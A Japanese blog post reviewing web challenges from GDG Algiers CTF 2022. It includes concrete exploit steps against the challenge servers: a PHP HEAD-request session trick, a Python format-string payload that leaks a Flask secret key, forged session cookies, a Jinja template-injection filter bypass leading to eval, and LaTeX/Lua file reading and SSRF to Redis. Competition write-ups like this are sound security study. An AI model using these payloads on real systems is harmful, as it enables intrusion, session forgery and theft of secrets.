はまやんはまやんはまやん

hamayanhamayan's blog

GDG Algiers CTF 2022 復習Writeup

自明な問題しか解けなかった。割とちゃんと復習したのでWriteupにしておく。
Discordにすべてあるので、そちらが一次情報源。

[web] ezphp (fixed)

<?php
session_start();
include "flag.php";

if (!isset($_GET["login"]) || !isset($_GET["pass"]))
    die(show_source(__FILE__));

if ($_SESSION["admin"] == 1)
        echo $FLAG;

$login = $_GET["login"];
$password = $_GET["pass"];
$_SESSION["admin"] = 1;
if ($login !== "admin" || md5($password) !== "117080b3bcbd07588b4df032280f46a5")
{
    echo "Wrong password\n";
    $_SESSION["admin"] = 0;
}

?>

方針としては、Wrong passwordになってしまうのは避けられないので、$_SESSION["admin"] = 1;が実行されてから
$_SESSION["admin"] = 0;が実行されるまでの間で問題を起こして強制終了させることを考える。
開催時はmd5でずっと考えていたが、なんとecho部分でクラッシュさせることができる。

https://repo.zenk-security.com/Techniques%20d.attaques%20%20.%20%20Failles/HTTP%20HEAD%20method%20trick%20in%20php%20scripts.pdf

ここにある情報そのまま。
PHPは色んなリクエストを同一phpファイルで受けることができ、HEADリクエストを使えば出力時にエラーとなって落とすことができる。

curl -v -X HEAD 'http://ezphp-fixed.chal.ctf.gdgalgiers.com/?login&pass'としてセッションを作ると、
$_SESSION["admin"] == 1になっているので、
そのセッションを使って
curl -H 'Cookie: PHPSESSID=2a1266f57e4e0ad7caa56c979e9ef7a6;' 'http://ezphp-fixed.chal.ctf.gdgalgiers.com/?login&pass'
でフラグ獲得。

[web] Validator

schemaというライブラリが使われている。
エラー文字列を差し込んでいる所が必要か?という感じなので、ソースコードを見てみる。
https://github.com/keleshev/schema/blob/master/schema.py#L420
raise SchemaMissingKeyError(message, e.format(data) if e else None)のようにエラー文字列に対してformatが差し込まれているので、
pythonのformat string attackが使えそう。

POST /validate HTTP/1.1
...

{"schema":{"x":"int"},"validMsg":"abc","invalidMsg":"{0.__class__}","data":"{\"x\":\"1\"}"}

のような感じでinvalidMsgにpayloadを入れてみると、MyDictが出てくる。
OK.刺さっていそう。
本番はここで止まってしまった。

刺さらないーと思っていたが、dataに何か入っているとなんか色々邪魔をしてしまうっぽい。
ここが原因か。

{"schema":{"x":"int"},"validMsg":"abc","invalidMsg":"{0.__class__.__getattr__.__globals__[app].config}","data":"{}"}

こうすれば秘密鍵が得られるのでこれでセッションをadmin: Trueで作り直してフラグを獲得する。

from flask import Flask, request, redirect, render_template, session, send_from_directory

app = Flask(__name__)

app.secret_key = '3PmqjTIyNHJe3i5psDJNFAkwoJyUZTwy'

@app.route("/")
def index():
    session["isAdmin"] = True
    return "look your cookie!"

app.run()

で作って、

$ curl -H 'Cookie: session=eyJpc0FkbWluIjp0cnVlfQ.Y0OJiQ.wbAzx-w6e7fvMAybnHzp-Cti-2w;' http://validator.chal.ctf.gdgalgiers.com/flag
CyberErudites{eV3n_PYTh0N_C4Nt_3$c4P3_fRoM_foRm4T_$Tring_buG$}

[web] Pipe your way

SSTIをするのは明白だが、フィルターが結構厳しい。

'.','_','|join', '[', ']', 'mro', 'base','import','builtins','attr','request','application','getitem','render_template'

以上が使えない。

どちらもmapというのを使ってメソッドを取得している。

(lipsum,)|map(**{"attribute" : "__globals__"})|list|last

みたいな感じ。これでlipsum.__globals__と同等になる。
ドットが使えない部分を、mapでフィルタリングして最後に取得用に|list|lastすることで取得可能にしている。
一体、どこでこんな謎構文を仕入れてくるんだろうか…
他は特に珍しい部分は無くRCEにつなげられる。
{{ lipsum.__globals__.__builtins__.eval("open('flag.txt').read()") }}に対して
メソッド呼出をmapに変換して、文字列部分を\xXXで変換すればフラグが得られる。

[web] Lay Low'ah

latexを与えるアプリケーションが与えられる。

\documentclass{article}
\usepackage{verbatim}
\begin{document}
\verbatiminput{app.py}
\end{document}

みたいにするとLFI可能で、utils.pyを見てみると、lualatexでコンパイルされていることが分かる。
SECCON Beginners CTF 2022のおかげでここまでは来れた。
ここでスタックしてしまったが、lualatexではluaコードをlatexに差し込めるっぽい。
https://discord.com/channels/1008127439349755934/1028728988539031703/1028743328323338403
ここに最終的なエクスプロイトコードがあるが、latexに埋め込んだluaコードを使って、
SSRFをして、redisサーバにつないでデータを抜いてくるとフラグがある。
んー、なるほど…
なお、Discordにあるコードで使用されているredisの接続情報はluaを使って/proc/self/environをLFIしてくれば得られる。
CACHE_REDIS_URLに認証情報付きのURIが書いてある。
接続できたら、keys *でFLAGというキーが得られるので、get FLAGすればフラグが得られる。

 
 
 
 
 
 
 
 
 

ここまでちゃんと復習して、以下は解法を見ただけ。

[web] perfect model

学習済みモデルを提出するサイト。
正答率100%のモデルが提出できればフラグ獲得。

学習済みモデルはPickleっぽいので、RCE発火するPickleを用意するとリバースシェルできる。
そこから、検証で使うprivateデータセットが得られる。
これを使って学習させてデータセットについて100%の正解を出すモデルを作って与えるとフラグが手に入る。
…らしい

[web] yatodo

プロトタイプ汚染でXSSコードを差し込む。
かなり難しそう。
もう、許して…